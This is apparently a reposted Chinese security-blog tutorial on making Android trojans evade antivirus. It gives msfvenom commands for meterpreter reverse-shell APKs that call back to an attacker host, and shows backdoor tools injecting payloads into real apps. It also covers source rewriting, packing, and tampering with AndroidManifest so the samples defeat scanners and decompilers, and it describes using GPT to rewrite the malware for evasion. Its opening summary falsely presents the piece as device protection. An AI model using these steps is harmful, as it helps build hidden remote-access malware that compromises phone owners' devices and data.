Android 免杀教程，Android免杀教程详解

摘要：本教程介绍了如何在Android系统中实现免杀操作，通过一系列步骤和技巧，帮助用户避免被恶意软件或病毒攻击。本教程内容详细，易于理解，适合Android用户了解并保护自己的设备安全。通过遵循教程中的方法，用户可以提升设备的安全性，避免遭受不必要的损失。

免杀练习两年半

目录

msfvenom 自动生成

自带免杀

工具免杀

Thefatrat

venom

工具小记

加壳

源码免杀

加壳

源码混淆

数据通信

对抗反编译

反编译工具崩溃

ZIP文件格式对抗

AndroidManifest.xml

对抗反编译小结

VT检测 https://www.virustotal.com/gui/home/upload

msfvenom 自动生成

查看一下msfvenom里面的android木马

msfvenom -l payloads | grep android

使用 android/meterpreter/reverse_tcp

msfvenom -p android/meterpreter/reverse_tcp LHOST=ip LPORT=10008 R > black.apk

直接使用msfvenom生成的病毒APK，丢到VirScan里面

10/46 ， 蒽....这也行virustotal检查，26/64....

自带一部分免杀效果

自带免杀

msfvenom自带有免杀，接下来使用自带工具进行简单免杀查看msf自带编码器

msfvenom --list encoders

这两个效果是最好的

虽然这个是x86的，但是也能兼容在APK中，编码一次

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai R > black_1.apk

现在是 9/59

编码20次

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai -i 20 R > black_2.apk

跟编码一次效果一致

使用 -b 特征码无效

使用多重编码，增大免杀概率

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -a dalvik --encoder x86/call4_dword_xor --iterations 5 --encoder x86/countdown --iterations 4 --encoder x86/shikata_ga_nai --iterations 3 -o encoded.apk

这里用到了 x86/call4_dword_xor，x86/countdown，x86/shikata_ga_nai 三个编码器

没想到免杀效果反而变弱了，只能说是有的编码器特征已经被记录在了检测引擎里面，只要用了就会被检测到

工具免杀

APK免杀的工具好像比较少

Thefatrat

git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh

安装部署弄半天

环境OK了之后运行

sudo ./fatrat

进入程序主界面

APK相关的就第五条，在原有的APK文件里面植入后门，这里的APK就用李跳跳吧额忘记这玩意加过壳了

拿一个之前同事给我的没加壳的优酷

这里有三个方法可以选择

• 使用 Backdoor-apk 0.2.4a：Backdoor-apk 是一个用于在Android应用程序中嵌入后门的开源工具。它允许攻击者在现有的APK文件中插入恶意代码，以实现对目标设备的远程访问或控制。该方法依赖于 Backdoor-apk 工具的功能和特性，并且可以通过指定参数来自定义后门的行为。

  不过这个项目也几年没更新了，原项目地址为 https://github.com/dana-at-cp/backdoor-apk

  • 使用旧的 Fatrat 方法：这是指使用旧版本的 TheFatRat 工具来创建后门。TheFatRat 是一个基于Metasploit框架的多合一工具，旨在简化后门的创建和利用。它提供了多种攻击向量和功能，包括生成恶意应用程序、创建恶意文档等。使用旧的 Fatrat 方法可能涉及使用过时的工具版本和技术。

    这个方法应该就是fatrat内置的方法

    • 使用 MsfVenom 嵌入式方法：MsfVenom 是Metasploit框架中的一个强大工具，用于生成定制的恶意代码。嵌入式方法是指使用 MsfVenom 来生成恶意有效负载，并将其嵌入到合法应用程序或文档中，以创建后门。这种方法可以通过设置有效负载选项和参数来自定义后门的行为。

      这里我们当然要把每种方式都试一下

      backdoor-apk

      

      这里的权限文件是否要混淆，我建议保持原样，减少特征结果出现了这个问题

      [!] Failed to recompile original project with backdoor

      

      单独下载backdoor-apk来进行测试 https://github.com/dana-at-cp/backdoor-apk ，还是存在这个问题，考虑是存在加壳或签名验证的问题，找一个本地自签名的APK丢上去试试（因为我试了一下无签名文件也会有问题

      

      在backdoor-apk/backdoor-apkoriginal/dist/ 目录下生成带后门的apk文件

      

      不过这个效果也不咋地，开源工具可以理解

      

      old-fatrat

      拿一个选择old-fatrat

      

      把我之前的一个Android系统签名的APK放进去，生成成功

      

      在TheFatRat 文件夹下面会生成 app_backdoored.apk，不过在VT上面的效果并不理想

      

      msfVenom嵌入式方法

      

      蒽...让我更新apktool，现在最新的版本是2.8.1

      

      本地的apktool环境好像因为TheFatRat搞混乱了，第三种方式就跳过吧 懒得搞环境了~

      venom

      项目地址 https://github.com/r00t-3xp10it/venom

      

      当然是选择 4 Android / IOSagents 有三个可以选择的，这里我们选择APK后缀的 1

      

      后面就是一些常规设置 和 设置监听了

      

      /venom/output 里面的木马文件大小是0kb

      

      如果想要下载真实的木马文件需要本机访问浏览器下载，比如我前面写的IP是10.10.10.1，如果想要下载的话就是写虚拟机的IP

      下载之后丢到VT 26/64

      

      工具小记

      这样的结果很正常，因为这些工具很久没有更新了，其中的特征都被厂商加入特征库了，但是在工具刚出的时候，都是具有里程碑意义的，我们学习其中的原理即可

      加壳

      下载360加固助手 https://jiagu.360.cn/#/global/download结果被检测了 orz

      

      再尝试一下 https://github.com/woxihuannisja/Bangcle

      java -jar Bangcle.jar b .\black_1.apk

      也不行

      

      换一个APK，然后卡住了

      

      蒽....加壳其实可以过很多特征码检测的扫描工具，这里没有找到能直接用的就算了

      源码免杀

      要想进行源码免杀，就得先知道源代码做了什么其实也可以替换msfvenom生成木马APK的smail文件，但实际上特征还是在，如果想按照这种思路的话，先知上面之前有文章 https://xz.aliyun.com/t/2967创建一个什么都不做的Android项目，检查一下有没有误报

      

      编写Android app工程，把msfvenom里面的移植过来

      

      这部分其实是加载器代码

      

      想要在本地运行，配置文件需要写到 configBytes 列表里面，因为这个配置列表我不知道是怎么生成的，看注释里面好像是 metasploit-framework/lib/rex/payloads/meterpreter/config.rb 文件所以这部分直接跳过加密解密配置部分，稍微魔改一下

      

      这里会走入 if 分支，所以我们在这里魔改

      

      修改main方法

      

      投递到手机中启动

      

      查看是否为我们的机器

      

      对比PID一致

      

      换一个有杀毒软件的手机

      

      

      这个时候的APK放到VT上面是 8/64

      

      加壳

      把源码拿出来之后，预感就可以过360加壳的检测了，果不其然

      

      估计之前的检测也是通过msfvenom生成APK的包名之类的特征来检测的丢到GDA里面可以看到是成功加壳了

      

      这个时候丢到VT上面，居然还是 8/66，沉默了家人们

      

      虽然有自动脱壳的可能性，但是这样计算量太大了，我感觉不会这么快就解出来去除xml里面的这部分内容，主要是感觉这个特征太明显了

      

      依旧这样

      

      再改改XML里面的各个参数值，stage改成lib引用

      

      发现VT里面有的是检测到了壳产生的告警

      

      打开一个正常的APK，丢到VT上面

      

      给它进行360加固，再丢到VT上面

      

      额....所以有的告警其实是360加固导致的，免费的360加固里面会存在特征文件，需要使用付费版才可以去除 orz

      

      • ESET-NOD32

      • Fortinet

      • MaxSecure

        看起来都是误报但是 K7GW 的特征是 Trojan ( 0052d2661 )，之前木马APK的特征它报的是 005983af1，暂且认为是有对于msf的特定检测

        去除Android本身的权限校验，留下

        因为我们需要用这个权限来启动service，当然其他权限其实也可以留下来一部分，但是这里直接全部去掉

        

        加固

        

        按照我们之前说的360加固壳会出现误报，这里实际上只有三个工具检测是生效的

        • K7GW Trojan ( 0052d2661 )

        • Kaspersky

        • ZoneAlarm by Check Point

          不影响攻击机获取shell，某些针对Android上的功能会受到影响

          

          源码混淆

          源码混淆主要从两个方面进行，主工程代码和lib库混淆关于特征是在主工程还是lib库，我们可以在不引入lib库的情况下进行测试，而且lib库里面的代码实际上我们只有需要解析config和使用http通道的时候才会用到，当我们选择SOCKET的时候，是用不到lib库的（更加理所当然的去除掉它们

          

          结果依旧

          

          简单从下面几个方向进行修改：

          数据通信

          先把socket通信去掉

          

          依旧

          

          所以这部分可以直接跳过了，直接修改启动和运行方式

          启动和运行方式修改

          这个部分其实比较抽象抛砖引玉吧，如果你想让自己的字迹不被别人看出来，最好的方法是用你的左手写代码也是同理，刚好GPT写代码很死板，这个任务丢给它刚好

          

          以此类推，然后再删掉一些多余的代码，比如findContext()等等，在不考虑性能的情况下，把全局变量和局部变量换一下位置在不加壳的情况下 1/64，依旧能够上线

          

          

          最后加个壳，反而变多了，之前检测出木马的Antiy现在没有告警了，可以理解为已经绕过了这四个检测我们前面提到过，都是针对加固的告警

          

          经过排查之后发现一个很搞笑的点，杀毒软件还检查 buildToolsVersion 和 minSdkVersion吗查了一下原因如下

          • 兼容性问题：minSdkVersion指定了APK所需的最低Android系统版本。恶意软件通常会选择较低的minSdkVersion，以便在更多设备上运行。杀毒软件会检查minSdkVersion，如果它较低且与APK的其他特征相匹配，就可能被认为是木马。

          • 安全漏洞：较旧的Android版本可能存在已知的安全漏洞或弱点，黑客和恶意开发者可能会利用这些漏洞来进行攻击。因此，一些杀毒软件会关注minSdkVersion，以便识别并阻止可能利用这些漏洞的恶意软件。

          • 平台限制：某些安卓功能、API或权限只适用于特定的Android版本或更高版本。恶意软件可能会试图突破这些限制来执行危险操作。通过分析minSdkVersion，杀毒软件可以判断APK是否使用了不适当或不合理的安卓功能，从而将其标记为潜在的木马。

            实验步骤如下：现在minSdkVersion 为 28

            

            Antiy-AVL 告警 Trojan/Generic.ASMalwAD.B6

            

            修改为 30 (反正不等于28就行，我测试了一下26也可以)，现在是 DrWeb 告警 Android.Siggen.Susp.4604

            

            这个告警经过排查修改布局库版本可以避免

            

            修改为

            implementation 'androidx.constraintlayout:constraintlayout:2.1.4'

            估计是跟某个木马的库版本匹配上了

            

            检查上线

            

            对抗反编译

            对抗反编译是一门哲学

            虽然前面我们已经很成功了，但是还是有一个遗憾，那就是我们删除了一些权限来进行免杀获取shell，权限文件存储在APK解压后的AndroidManifest.xml 文件里面

            如果你跟我一样是一个爱读书的好孩子，在《Android软件安全与逆向分析》第十章中就专门花了一章的篇幅来提到 Android程序的反破解技术AV在静态检测的过程中，实际上跟软件逆向静态分析没有什么区别，所以我们在这部分进行一下AV对抗

            反编译工具崩溃

            大多数文章是通过反编译工具崩溃来实现对抗，但是这个方法具有版本限制，在新版本的工具上可能就没有这个问题了，比如对抗dex2jar，这里就不再赘述

            ZIP文件格式对抗

            ZIP通用位伪加密

            修改ZIP通用位来进行伪加密，比如使用 ZipCenOp.jar这个工具这种方法对于android 4.2.x版本及以后系统已经不适用了，Android系统会拒绝这种加密apk的安装

            AndroidManifest.xml

            这一小节主要讲如何对 AndroidManifest.xml 进行操作实现杀毒软件突破

            AndroidManifest.xml是白月光

            AndroidManifest 组合权限判断

            将上一节的免杀APK打开权限开关

            

            VT 现在是 3/65

            

            APK木马里面的某些功能一定是需要某个权限的，但是申请这些权限也不一定是恶意应用个人感觉是有部分误报了，重新创建一个新的项目，什么都不干只申请这些权限

            

            GPT也觉得这是正常权限

            

            无妨，猜测可能是组合权限判定，我们先删除某些权限删掉

            

            当然这几个是我随便删的，组合权限判断很死板，也有可能删掉一两个权限就能达成免杀，现在再到VT上面 就变成了

            

            AndroidManifest 幻数

            如果你跟我一样做过逆向，你会发现偶尔我们使用apktool 去逆向APK的时候会出错，因为AndroidManifest.xml文件里面某些字节出错了（导致apktool出错的可能很多，也可以是在Android代码里面留陷阱），总而言之，就是解析XML不成功，这样的情况下还想看到里面的权限列表当然是不可能的（但是APK是能正常运行的），我们利用这个特性给AV一点小小的震撼

            链安上面有一篇这个文章 https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail，但是是从修复角度来看待的问题，我们需要的是

            • Android能够成功安装运行

            • 逆向软件不能解析AndroidManifest.xml

              具体需要修改哪一位能阻碍逆向？本来我是想通过fuzz的方式来找到单位幻数，查资料的时候发现看雪上有师傅研究过https://bbs.kanxue.com/thread-272045.htm

              AndroidManifest文件的幻数（Magic Number），即文件头为0x00080003。将其修改后，反编译工具就无法识别AndroidManifest文件，导致反编译失败

              

              重新打包为APK使用AndroidKiller反编译出错，这里的apktool版本是 2.4.1

              

              当然在这种情况下AndroidManifest.xml是看不了的

              

              使用GDA，这里的AndroidManifest文件显示为空

              

              但是当我使用2.8.1版本的apktool的时候，幻数这个问题就被修复了

              

              AndroidManifest.xml成功被分析

              

              对APK添加证书后安装，即便是存在幻数，也能够成功安装

              

              具体是为什么Android能解析，之前的反编译工具不行，需要看Android这部分的源代码

              

              如源码所示,没有验证前两个字节是否是 0x0003，只对 headerSize 的合法性做了验证，所以修改了之后安装没问题

              stringPoolSize陷阱

              修改字符串个数 stringCount 字段，导致跟实际对应不上，也会造成AndroidManifest.xml解析出现问题实际上这里是68，我们将stringCount 设置为69

              

              然后重新保存签名，这个时候最新的apktool也识别不了了

              

              但是我们能够正常安装运行，为了进一步验证正确性，看一下日志是否去外连我的恶意服务器了可以看到存在监听动作（报错请忽略，此时服务器没有开启监听），说明APK恶意代码部分没问题

              

              对抗反编译小结

              因为写这篇文章的时间比较长，写到这里的时候发现卡巴斯基已经把源码混淆部分的特征加进去了，去除部分组合权限后的通过率是 2/65 orz

              

              因为我要做对抗反编译的对照实验，所以需要先把免杀降到0经过检查发现是这部分代码被加入了特征

              private static String getJarPath(String path){
                  String filePath = path + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
                  return filePath + ".jar";
              }

              简单改一下

              private static String a(String b){
                  String randomNum = Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
                  String c = b + File.separatorChar + randomNum;
                  return c + ".jar";
              }

              龙王归位

              

              把之前注释掉的权限都开放，变成了 3/64

              

              因为感觉stringPoolSize陷阱效果比较好，这里就是用这个方法来阻碍分析

              

              跟之前一样 这里的apktool 反编译是被阻碍的

              

              VT上面的效果为 2/65，干扰了 Sophos 杀毒软件的判断

              

              参考链接

              • https://www.cnblogs.com/-qing-/p/11421735.html

              • https://www.freebuf.com/articles/network/249014.html

              • https://www.anquanke.com/post/id/86353

              • https://www.baichuanweb.cn/article/example-65

              • https://e0hyl.github.io/BLOG-OF-E0/COVID_Trojan/

              • https://www.freebuf.com/articles/system/227462.html

              • https://anhkgg.com/aanti-virus/

              • https://misakikata.github.io/2018/09/%E5%85%B3%E4%BA%8EThefatrat%E5%85%8D%E6%9D%80%E4%BD%BF%E7%94%A8/

              • https://zone.huoxian.cn/d/1081-androidapp

              • https://cloud.tencent.com/developer/article/1472324

              • https://e0hyl.github.io/BLOG-OF-E0/COVID_Trojan/

              • https://bbs.kanxue.com/thread-272045.htm

                原文地址： https://xz.aliyun.com/t/12893

                学习更多渗透技能！体验靶场实战练习，请看下图

                 渗透工具

                

                技术文档、书籍

                 

                

                面试题

                帮助你在面试中脱颖而出

                

                视频

                基础到进阶

                环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等